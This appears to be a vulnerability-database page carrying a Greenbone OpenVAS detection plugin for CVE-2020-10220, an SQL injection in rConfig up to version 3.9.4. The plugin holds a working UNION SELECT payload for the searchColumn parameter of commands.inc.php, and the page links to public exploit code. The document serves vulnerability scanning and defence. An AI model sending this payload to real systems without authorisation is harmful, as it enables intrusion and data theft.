rConfig <= 3.9.4 SQLi Vulnerability
🗓️ 09 Mar 2020 00:00:00Reported by Copyright (C) 2020 Greenbone Networks GmbHType
openvas🔗 plugins.openvas.org👁 26 Views
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| rConfig 3.9 - (searchColumn) SQL Injection Exploit | 12 Mar 202000:00 | – | zdt | |
| Rconfig 3.x Chained Remote Code Execution Exploit | 17 Mar 202000:00 | – | zdt | |
| rConfig 3.9.4 - (searchField) Unauthenticated Root Remote Code Execution Exploit | 28 Mar 202000:00 | – | zdt | |
| Exploit for OS Command Injection in Rconfig | 2 Dec 201916:32 | – | githubexploit | |
| CVE-2020-10547 | 4 Jun 202000:00 | – | attackerkb | |
| CVE-2020-10548 | 4 Jun 202000:00 | – | attackerkb | |
| CVE-2020-10549 | 4 Jun 202000:00 | – | attackerkb | |
| CVE-2020-10546 | 4 Jun 202000:00 | – | attackerkb | |
| CVE-2020-10220 | 7 Mar 202000:00 | – | attackerkb | |
| The vulnerability of the commands.inc.php component of the rConfig configuration management tool for network devices stems from a lack of security measures in the SQL query structure. This allows attackers to execute arbitrary commands. | 20 Mar 202000:00 | – | bdu_fstec |
10
# Copyright (C) 2020 Greenbone Networks GmbH
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.113651");
script_version("2021-07-07T02:51:07+0000");
script_tag(name:"last_modification", value:"2021-07-07 02:51:07 +0000 (Wed, 07 Jul 2021)");
script_tag(name:"creation_date", value:"2020-03-09 14:56:57 +0200 (Mon, 09 Mar 2020)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2020-03-12 22:15:00 +0000 (Thu, 12 Mar 2020)");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_cve_id("CVE-2020-10220");
script_name("rConfig <= 3.9.4 SQLi Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2020 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_rconfig_detect.nasl");
script_mandatory_keys("rconfig/detected");
script_tag(name:"summary", value:"rConfig is prone to an SQL injection (SQLi) vulnerability.");
script_tag(name:"vuldetect", value:"Tries to execute an SQL query on the target system.");
script_tag(name:"insight", value:"The vulnerability is exploitable via the searchColumn parameter in commands.inc.php.");
script_tag(name:"impact", value:"Successful exploitation would allow an attacker to read sensitive information
and execute arbitrary code on the target machine.");
script_tag(name:"affected", value:"rConfig through version 3.9.4.");
script_tag(name:"solution", value:"Update to version 3.9.5 or later.");
script_xref(name:"URL", value:"https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_sqli.py");
exit(0);
}
CPE = "cpe:/a:rconfig:rconfig";
include( "host_details.inc" );
include( "misc_func.inc" );
include( "http_func.inc" );
include( "http_keepalive.inc" );
if( ! port = get_app_port( cpe: CPE ) )
exit( 0 );
if( ! location = get_app_location( cpe: CPE, port: port ) )
exit( 0 );
if( location == "/" )
location = "";
vt_strings = get_vt_strings();
attack_url = location + "/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%200x" + toupper( vt_strings["default_rand_hex"] ) + ",NULL--";
req = http_get( port: port, item: attack_url );
res = http_keepalive_send_recv( port: port, data: req, bodyonly: FALSE );
if( res =~ 'id="' + vt_strings["default_rand"] + '"' ) {
report = 'It was possible to execute an SQL command.\n';
report += http_report_vuln_url( port: port, url: attack_url );
security_message( data: report, port: port );
exit( 0 );
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Jul 2021 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 27.5
CVSS 3.19.8
EPSS0.99683